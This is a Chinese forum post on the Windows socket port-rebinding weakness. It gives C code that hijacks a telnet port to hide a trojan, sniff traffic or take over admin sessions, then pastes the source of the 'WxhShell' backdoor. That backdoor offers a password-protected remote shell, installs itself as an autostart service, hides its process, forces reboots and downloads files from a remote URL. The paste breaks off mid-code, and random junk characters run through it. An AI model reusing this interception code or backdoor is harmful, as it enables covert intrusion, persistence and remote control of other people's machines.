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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OqEg{o5 a&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {bAWc.  
B2ek&<I7N  
  saddr.sin_family = AF_INET; :t2 9`x  
Z;|0"K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vjOG?-  
%igFHh?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lM@<_=2  
aF; ]7i@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &CB.*\0  
TnbGO;  
  这意味着什么?意味着可以进行如下的攻击: f:x9Y{Y  
T% /xti5$!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I_"Hgx<  
-13P 2<i+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WH pUjyBP  
PK:o}IWn~x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1q}u?7nnSG  
=j'J !M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r`&2-]  
h"RP>fZt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zIAu3  
E<X{72fb>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RTgQ#<W8  
= )JVT$]w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >|UrxJ7  
I,CAFq  
  #include cJ7{4YK_#/  
  #include UX-_{I QW  
  #include VuX >  
  #include    pJ 2:` f<;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   imJ[:E  
  int main() v&[X&Hu[  
  { F #!@}K8  
  WORD wVersionRequested; gL[1wM%?  
  DWORD ret; XEvGhy#  
  WSADATA wsaData; ? $)x$nS`  
  BOOL val; Tc'{i#%9j  
  SOCKADDR_IN saddr; O X5Co <u  
  SOCKADDR_IN scaddr; y(bt56 | z  
  int err; 0i5T] )r  
  SOCKET s; uI[-P}bSc&  
  SOCKET sc; W|r+J8  
  int caddsize; ?[hy|r6$  
  HANDLE mt; Cu ['&_@  
  DWORD tid;   +qh< Fj>  
  wVersionRequested = MAKEWORD( 2, 2 ); !BvTJ-e)F  
  err = WSAStartup( wVersionRequested, &wsaData ); ,E/Y@sajn+  
  if ( err != 0 ) { r {/ G\  
  printf("error!WSAStartup failed!\n"); LEn=dU  
  return -1; ABq{<2iYN  
  } T/Wm S?  
  saddr.sin_family = AF_INET; 7 BnenHD  
   v3hQv)j)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $$bTd3N+  
%X0NHta ~@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l~Ie#vak  
  saddr.sin_port = htons(23); 9A* ?E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <.AC=4@V  
  { YjX!q]56  
  printf("error!socket failed!\n"); ; $ ?jR c  
  return -1; oM18aR&  
  } 8XH|T^5  
  val = TRUE; 8f{}ce'E*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 quCWc2pXX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >^a"Z[s[  
  { bD-/ZZz  
  printf("error!setsockopt failed!\n"); TsFdy{/o*  
  return -1; .5KC'?  
  } ulPrb>i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LrM.wr zI/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O yH!V&w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @F3-Ugm  
Qa7S'(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aCH:#|B  
  { "`W1yk5x  
  ret=GetLastError(); |U#w?eE=  
  printf("error!bind failed!\n"); HgSmAziv  
  return -1; >Xh(`^}SQ*  
  } )-6s7  
  listen(s,2); '4^V4i  
  while(1) _;J9q}X  
  { a7v[l04  
  caddsize = sizeof(scaddr); lM|WOmD  
  //接受连接请求 @7HOL-i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +/b4@B7  
  if(sc!=INVALID_SOCKET) A9qO2kq7_  
  { Y)4Nydq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {Hp}F!X$  
  if(mt==NULL) NBg>i7KQ  
  { ~&[P` Z$  
  printf("Thread Creat Failed!\n"); i9EMi_%  
  break; xv#j 593  
  } <zDw& s2  
  } NW4 s'roP  
  CloseHandle(mt); 2YE]?!   
  } WKrZTPD'm  
  closesocket(s); X%9xuc  
  WSACleanup(); M ly z><  
  return 0; J?Ep Nie  
  }   MVeQ5c(  
  DWORD WINAPI ClientThread(LPVOID lpParam) J6["j   
  { jC Kt;lj  
  SOCKET ss = (SOCKET)lpParam; q*y9/HnI  
  SOCKET sc; ]6VUqFO)  
  unsigned char buf[4096]; t0V_ c'm  
  SOCKADDR_IN saddr; kO3k| 6f=  
  long num; " ;R3260  
  DWORD val; PRk%C0`  
  DWORD ret; ^; V>}08  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @X6#$ex  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DCt:EhC  
  saddr.sin_family = AF_INET;  > ^v8N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u$%#5_k  
  saddr.sin_port = htons(23); hPeKQwzC0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k>0cTBY&  
  { (Y.$wMB  
  printf("error!socket failed!\n"); uQ%HLL-W/  
  return -1; P7x?!71?L  
  } GY$?^&OO>  
  val = 100; <9k}CXv2PK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kzVI:  
  { +@],$=aE?  
  ret = GetLastError(); &9lc\Y4PY  
  return -1; @H# kvYWmn  
  } 4Ig{#}<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {O&liU4  
  { Lj Q1ar\  
  ret = GetLastError(); +81+4{*  
  return -1; vK.4JOlRF  
  }   [aS)<^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U)/Ul>dY  
  { rDx],O _  
  printf("error!socket connect failed!\n"); wIR[2&b  
  closesocket(sc); 13&>w{S}  
  closesocket(ss); K<L%@[gi  
  return -1; ^$Io;*N4  
  } e$^!~+J7  
  while(1) ]o+|jgkt]  
  { ,/b/O4`;y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |16BidWi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^R'!\m|FR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WmVw>.]@~  
  num = recv(ss,buf,4096,0); MqBATW.pmJ  
  if(num>0) 0^lL,rC   
  send(sc,buf,num,0); |p4OlUq  
  else if(num==0) 8`~3MsE"  
  break; x5 ~E'~_  
  num = recv(sc,buf,4096,0); vlN. OQ  
  if(num>0) P[P72WR  
  send(ss,buf,num,0); So 6cm|{  
  else if(num==0) [;#.DH]  
  break; Cm}UWX  
  } &CmkNm_B  
  closesocket(ss); GN;XB b]w  
  closesocket(sc); =i5:*J  
  return 0 ; UuqnL{  
  } ~\}EROb <  
Q fyERa\rb  
c3!|h1h/v  
========================================================== ^$,kTU'=  
SyVbCj  
下边附上一个代码,,WXhSHELL LLHOWD C(2  
;)]zv\fC  
========================================================== 4qz{ D"M  
iY'hkrw  
#include "stdafx.h" JiLrwPex[  
@?=)}2=|?i  
#include <stdio.h> R"t$N@ZFb  
#include <string.h> '/*c Yv45  
#include <windows.h> c^WBB$v  
#include <winsock2.h> %=<NqINM[  
#include <winsvc.h> x15tQb+  
#include <urlmon.h> r~2@#gTbl  
ZznWs+  
#pragma comment (lib, "Ws2_32.lib") 7%}3Ghc%  
#pragma comment (lib, "urlmon.lib") DJ [#H  
U(]5U^  
#define MAX_USER   100 // 最大客户端连接数 ,$qs9b~  
#define BUF_SOCK   200 // sock buffer H.[&gm}p>  
#define KEY_BUFF   255 // 输入 buffer F}.TT =((8  
2_\|>g|  
#define REBOOT     0   // 重启 %` [`I>  
#define SHUTDOWN   1   // 关机 _w/N[E  
`LU,uz  
#define DEF_PORT   5000 // 监听端口 uv!qE1z@':  
~S>ba']  
#define REG_LEN     16   // 注册表键长度 ![!b^:f  
#define SVC_LEN     80   // NT服务名长度 *g41"Cl  
5XUI7Q%  
// 从dll定义API =l'_*B8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6ch[B`[h,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QIV~)`;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~JPzjE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i@^`~vj  
<0 idG  
// wxhshell配置信息 oNsx Fi:  
struct WSCFG { P W<wjf,rQ  
  int ws_port;         // 监听端口 MNmQ%R4jRN  
  char ws_passstr[REG_LEN]; // 口令 P]x+Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4H=sD t  
  char ws_regname[REG_LEN]; // 注册表键名 t-(7Q8(  
  char ws_svcname[REG_LEN]; // 服务名 a&VJ YAB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HbSx}bM_9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K$5P_~;QL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `gs,JJ6N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ru aJ9O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?8}jJw2H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F^G`Jf  
DmPsltpzQ  
}; 64X#:t+  
:Qp/3(g e  
// default Wxhshell configuration 3A}8?  
struct WSCFG wscfg={DEF_PORT, Z|dZc wo  
    "xuhuanlingzhe", 6b01xu(A[  
    1, Y1+lk^  
    "Wxhshell", =xet+;~ji  
    "Wxhshell", Zs|sPatV<  
            "WxhShell Service", ,VsCRp  
    "Wrsky Windows CmdShell Service", w|o@r%Q#l  
    "Please Input Your Password: ", QaBXzf   
  1, XJ?z{gXJ  
  "http://www.wrsky.com/wxhshell.exe", +`3ZH9  
  "Wxhshell.exe" '="){  
    }; @}!$NI8  
w>Sz^_ h  
// 消息定义模块 ( +hI   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8N_rJ)f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !`=?<Fl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6e| 5qKr  
char *msg_ws_ext="\n\rExit."; $*-L8An?  
char *msg_ws_end="\n\rQuit."; :P"Gym  
char *msg_ws_boot="\n\rReboot..."; rO%+)M$A  
char *msg_ws_poff="\n\rShutdown..."; G_mu7w  
char *msg_ws_down="\n\rSave to "; }PL  
*{s[$}uQ  
char *msg_ws_err="\n\rErr!"; X6 '&X  
char *msg_ws_ok="\n\rOK!"; J vsB^F.4  
'Jr*oru  
char ExeFile[MAX_PATH]; !|c5@0Wr  
int nUser = 0; 2wsZ&y%  
HANDLE handles[MAX_USER]; 5c7a\J9>  
int OsIsNt; 6Ymk8.PF  
e' VXyf  
SERVICE_STATUS       serviceStatus; &>fd:16  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e"/X*xA  
rep"xV&|>o  
// 函数声明 :+!b8[?Z  
int Install(void); ;rL$z;}8  
int Uninstall(void); L-$g& -  
int DownloadFile(char *sURL, SOCKET wsh); 6 74X)hB  
int Boot(int flag); Qf]!K6eR  
void HideProc(void); rWqA)j*!  
int GetOsVer(void); m/nn}+*C  
int Wxhshell(SOCKET wsl); $?{zV$r1  
void TalkWithClient(void *cs); CI'5JOqP  
int CmdShell(SOCKET sock);  E/;YhFb[  
int StartFromService(void); ^ s4|  
int StartWxhshell(LPSTR lpCmdLine); >C3 9`1  
[1CxMk~"[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;gV8f{X{Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9E?>B3t^  
\ y",Qq?  
// 数据结构和表定义 )D*xOajo+l  
SERVICE_TABLE_ENTRY DispatchTable[] = h--bN*}H2  
{ a<.@+sj{  
{wscfg.ws_svcname, NTServiceMain}, iNSJOS  
{NULL, NULL} .r'.5RI A  
}; \0*LfVr;P  
rRel\8  
// 自我安装 V= PoQ9d  
int Install(void) \YS\* 'F  
{ @CDRbXoFk  
  char svExeFile[MAX_PATH]; _Y {g5t  
  HKEY key; rID]!7~  
  strcpy(svExeFile,ExeFile); gHshG;z*  
{Aw3Itef  
// 如果是win9x系统,修改注册表设为自启动 %b6wo?%*  
if(!OsIsNt) { \_bX2Lg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Njjeg9f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S:QEHd_C  
  RegCloseKey(key); RA/yvr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4*X$Jle|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .X1niguXH  
  RegCloseKey(key); h zE)>f  
  return 0; (5&"Y?#o,  
    } |D:0BATRP  
  } q'tT)IgD  
} DYK|"@  
else { ^XVa!s,d  
E!M+37/  
// 如果是NT以上系统,安装为系统服务 m=V2xoMw6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [y>.)BU  
if (schSCManager!=0) Cj9Tj'0@I+  
{ &KWh5S@w  
  SC_HANDLE schService = CreateService th,qq  
  ( ^5}3FvW  
  schSCManager, =`H( `2  
  wscfg.ws_svcname, H(s^le:!  
  wscfg.ws_svcdisp, o+&sodt|`  
  SERVICE_ALL_ACCESS, etVE8N'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e>.xXg6Zn  
  SERVICE_AUTO_START, +\chHOsw  
  SERVICE_ERROR_NORMAL, C@i g3fhV  
  svExeFile, s2WB4U k  
  NULL, ps{(UYM=b  
  NULL, p?@D'  
  NULL, GkFNLM5'  
  NULL, LlJvuQ 28  
  NULL d+'+z %s%  
  ); }kDrUnBk  
  if (schService!=0) sx\7Z#|  
  { ^*OA%wg3=h  
  CloseServiceHandle(schService); [&:oS35O  
  CloseServiceHandle(schSCManager); n>UvRn.7kz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7Wu2gky3  
  strcat(svExeFile,wscfg.ws_svcname); =@>&kU%$&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \ PqV|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B?'ti{p A9  
  RegCloseKey(key); RJSgts "F  
  return 0; #Uu"olX7  
    } @gOgs  
  } ;r']"JmF,  
  CloseServiceHandle(schSCManager); qxx.f5 8H  
} aXagiz\;  
} qDW/8b\^  
Zj;!7ZuT1  
return 1; Fz% n!d  
} ) LG/n  
{ex]_V>  
// 自我卸载 8ZDq KQ1;  
int Uninstall(void) yS""*8/  
{ q8J/tw?%v  
  HKEY key; b+>godTi_  
a=R-F!P)  
if(!OsIsNt) { ;D:v@I$I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nj  
  RegDeleteValue(key,wscfg.ws_regname); "oQ@.]-#  
  RegCloseKey(key); ZSNg^)cN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z"jo xZ  
  RegDeleteValue(key,wscfg.ws_regname); |Th{*IJ <,  
  RegCloseKey(key); gnGw7V  
  return 0; ~08v]j q  
  } `*a,8M%  
} i]v!o$7  
} ?kSs7e>  
else { 21qhlkdc  
92i# It}-/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?m6E@.{  
if (schSCManager!=0) ]2jnY&a5  
{ 1tDN$rM5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z6p>R;9n  
  if (schService!=0) I(.XK ucU  
  { w#XJ!f6*_9  
  if(DeleteService(schService)!=0) { XV&3h>5  
  CloseServiceHandle(schService); Evc 9k  
  CloseServiceHandle(schSCManager); &}r932  
  return 0; X {$gdz8S9  
  } 1X5\VY>S`h  
  CloseServiceHandle(schService); ;k0*@c*  
  } /[OMpP  
  CloseServiceHandle(schSCManager); OX"`VE  
} R+\5hI@ >i  
} };*5+XY^  
]%."  
return 1; &Lw| t_y  
} [o~w>,a  
ZD/!C9:&.0  
// 从指定url下载文件 ;p/@tr9  
int DownloadFile(char *sURL, SOCKET wsh) 8c9_=8vw  
{ &Ru6Yt0W  
  HRESULT hr; b+3pu\w `  
char seps[]= "/"; e|I5Nx2)  
char *token; p82qFzq#  
char *file; i=ba=-"Mt  
char myURL[MAX_PATH]; j{vzCRa>8  
char myFILE[MAX_PATH]; MI/1uw  
]mp.KvB  
strcpy(myURL,sURL); __QT lj  
  token=strtok(myURL,seps); y!#1A?|k  
  while(token!=NULL) eR/7*G5  
  { a4wh-35/  
    file=token; (n< xoV[e  
  token=strtok(NULL,seps); 46vz=# ,6L  
  } 0ode&dB  
C8?/$1|RL  
GetCurrentDirectory(MAX_PATH,myFILE); K"pfp !Y  
strcat(myFILE, "\\"); 1#'wR3[+  
strcat(myFILE, file); Xf0pQ]8\  
  send(wsh,myFILE,strlen(myFILE),0); 4&\m!s  
send(wsh,"...",3,0); @*oi1_q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TzOf&cs/r  
  if(hr==S_OK) tFGLqR%/  
return 0;  >4Lb+]  
else ,=mn*  
return 1; D526X0  
yS?1JWUC>  
} u*M*Wp Y  
sJ,zB[e8  
// 系统电源模块 qG;WX n  
int Boot(int flag)  -x7L8Wj  
{ e1H.2n{y^  
  HANDLE hToken; rg`"m  
  TOKEN_PRIVILEGES tkp; R\<^A~(Gl  
k: {$M yK  
  if(OsIsNt) { M! s&<Bi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =$m|M m[a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I=1tf;Bsi  
    tkp.PrivilegeCount = 1; AOTI&v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ei#"r\q j_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Hhe&B  
if(flag==REBOOT) { e0D;]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NmeTp?)m  
  return 0; A >x{\  
} }, ]W/  
else { AIE)q]'Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DI*xf Kt  
  return 0; wj/r)rv E  
} p5*i d5  
  } M?_VYK  
  else { 03MB,  
if(flag==REBOOT) { ZXco5,1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k -SUp8}g  
  return 0; Dr;@)  
} w}'E]y2.  
else { xQN](OKG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |h.he_B+7  
  return 0; XpM#0hm  
} Abj`0\  
} Bdq/Ohw|!  
7_JK2  
return 1; )q#b^( v  
} %1#5 7-  
hX;xbl  
// win9x进程隐藏模块 )]/!:I4e  
void HideProc(void) K$rH{dUM  
{ [E=t{&t  
#Z fg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QutQG  
  if ( hKernel != NULL ) rtY0?  
  { n&@\[,B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qd@`jwjS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L%<1cE))  
    FreeLibrary(hKernel); (ttO O45  
  } Chjth"  
;X\!*Loe  
return; 9m<>G3Jr  
} )2\6 Fy0S  
N 4Dyec\  
// 获取操作系统版本 u%&zY97/  
int GetOsVer(void) w;X-i.%`  
{ WhvO-WF  
  OSVERSIONINFO winfo; `/#6k>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E9 |i:  
  GetVersionEx(&winfo); h8nJ$jg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?+51 B-  
  return 1; L!5%;!>.P  
  else * F&C`]  
  return 0; pTcm2-J  
} aG,N>0k8  
5 J 0  
// 客户端句柄模块 xHI>CNC,  
int Wxhshell(SOCKET wsl) D7 .R NXo  
{ @v|_APy#  
  SOCKET wsh; YT#" HYO  
  struct sockaddr_in client; [_${N,1  
  DWORD myID; r] 2}S=[  
st pa2z  
  while(nUser<MAX_USER) W<kJ%42^j  
{ Al 0zL  
  int nSize=sizeof(client); 3pm;?6i6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " >;},$  
  if(wsh==INVALID_SOCKET) return 1; #Jg )HU9  
A`IE8@&Z'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !30BZM^  
if(handles[nUser]==0) 1[dza5  
  closesocket(wsh); =`g+3 O;<  
else %<K`d  
  nUser++; c^I_~OwaE  
  } voCQ_~*)9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DN!:Rm uc  
oc>,5 x  
  return 0; M,:GMO:?a  
} ?-J\~AXL  
w,D(zk$   
// 关闭 socket m ?LOd9  
void CloseIt(SOCKET wsh) 7LKNEll  
{ y~;Kf0~  
closesocket(wsh); 'R?;T[s%  
nUser--; KUZ'$oKg  
ExitThread(0); "5]GEzM3O  
} ><5tnBP|+L  
WM:we*k8h  
// 客户端请求句柄 r=<,`_@Y  
void TalkWithClient(void *cs) p)d'yj  
{ S_aml  
`AQv\@wp  
  SOCKET wsh=(SOCKET)cs; |no '^  
  char pwd[SVC_LEN]; mM1\s>o  
  char cmd[KEY_BUFF]; D.4=4"qMi  
char chr[1]; #~ UG9@a  
int i,j; p-r}zc9@  
b4i=eI8  
  while (nUser < MAX_USER) { ^#p S u  
* r$(lf  
if(wscfg.ws_passstr) { StA5h+[m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MHk\y2`/;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KE6[u*\  
  //ZeroMemory(pwd,KEY_BUFF); ~ 8RN  
      i=0; (Z;-u+ }.  
  while(i<SVC_LEN) { Q]A;VNx  
O$LvHv!  
  // 设置超时 9psD"=/"  
  fd_set FdRead; !ai, \  
  struct timeval TimeOut; 8E ^yHd4Y  
  FD_ZERO(&FdRead); p'uk V(B  
  FD_SET(wsh,&FdRead); gVl%:Ra%  
  TimeOut.tv_sec=8; +.NopI3:  
  TimeOut.tv_usec=0; f_7a) 'V4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +hqsIx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -BgzAxa  
-(ABQgSO]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gr}Lp  
  pwd=chr[0]; St^s"A  
  if(chr[0]==0xd || chr[0]==0xa) { (s z=IB ;  
  pwd=0; F2:?lmhL<  
  break; sJ{NbN~`I  
  } C1Slx !}  
  i++; 3u3(BY{"\F  
    } ci <`*>l  
?`3` azfM  
  // 如果是非法用户,关闭 socket Z>{3t/`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7ae8nZ3&  
} t[Xx LG*  
]]J2#mN:n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ehPrxIyC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eI/9uR%  
Jo1n>Mo-j  
while(1) { X~T"n<:a>  
Yw vX SA  
  ZeroMemory(cmd,KEY_BUFF); C2<!.l  
SoI"a^fY  
      // 自动支持客户端 telnet标准   Kzfa4C  
  j=0; )#N)w5DU  
  while(j<KEY_BUFF) { " +'E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i"p)%q~ z  
  cmd[j]=chr[0]; a= +qR:wT  
  if(chr[0]==0xa || chr[0]==0xd) { 1D sgU6"  
  cmd[j]=0; a2 e-Q({  
  break; N=YRYU o  
  } s+8 v7ZJ  
  j++; q["CT&0  
    } $*tq$DZ4&  
3M=ym.  
  // 下载文件 R_e{H^pY^  
  if(strstr(cmd,"http://")) { PMebn$(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^F"Q~?D)  
  if(DownloadFile(cmd,wsh)) mFC0f?nr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ggR@& \  
  else : n 4?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C0eP/d  
  } _@3@_GE  
  else { nlQ<Aa-%  
4W &HUQ?^  
    switch(cmd[0]) { CqDKQQ  
  /p+ (_Y  
  // 帮助 7@NAky(  
  case '?': { 7aUk?Hf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {+_ pyL  
    break; "T|%F D&[  
  } !/^i\)j>](  
  // 安装 *,A?lX,9A  
  case 'i': { dlsVE~_G  
    if(Install()) E5(\/;[*`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q{gt2OWqX  
    else z=J%-Hq>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); })rJU/  
    break; i/N4uq}'A<  
    } [4KW64%l  
  // 卸载 0wU8PZ Nj  
  case 'r': { $@<qaR{t\  
    if(Uninstall()) 8.3888  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xL,Lb}){%  
    else ^R',P(@oL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -]\cUQ0  
    break; (\}>+qS[  
    } ^|M\vO  
  // 显示 wxhshell 所在路径 TO7%TW{L  
  case 'p': { !*_5 B'  
    char svExeFile[MAX_PATH]; v<c~ '?YzO  
    strcpy(svExeFile,"\n\r"); Bt[OGa(q  
      strcat(svExeFile,ExeFile); &(UVS0=Dp,  
        send(wsh,svExeFile,strlen(svExeFile),0); P~$FgAV  
    break; {h5 S=b  
    } ;O5p>o  
  // 重启 6Y<'Lyg/  
  case 'b': { _R-[*ucq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L5=Tj4`  
    if(Boot(REBOOT)) {KYbsD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`l3@ Z  
    else { >Ng7q?h   
    closesocket(wsh); ^_BHgbS%;  
    ExitThread(0); JfS:K'  
    } &"]Uh   
    break; !4cO]wh5  
    } 69AgPAv<k  
  // 关机 H)tnxD0)  
  case 'd': {  Cg[]y1Ne  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~= qJSb  
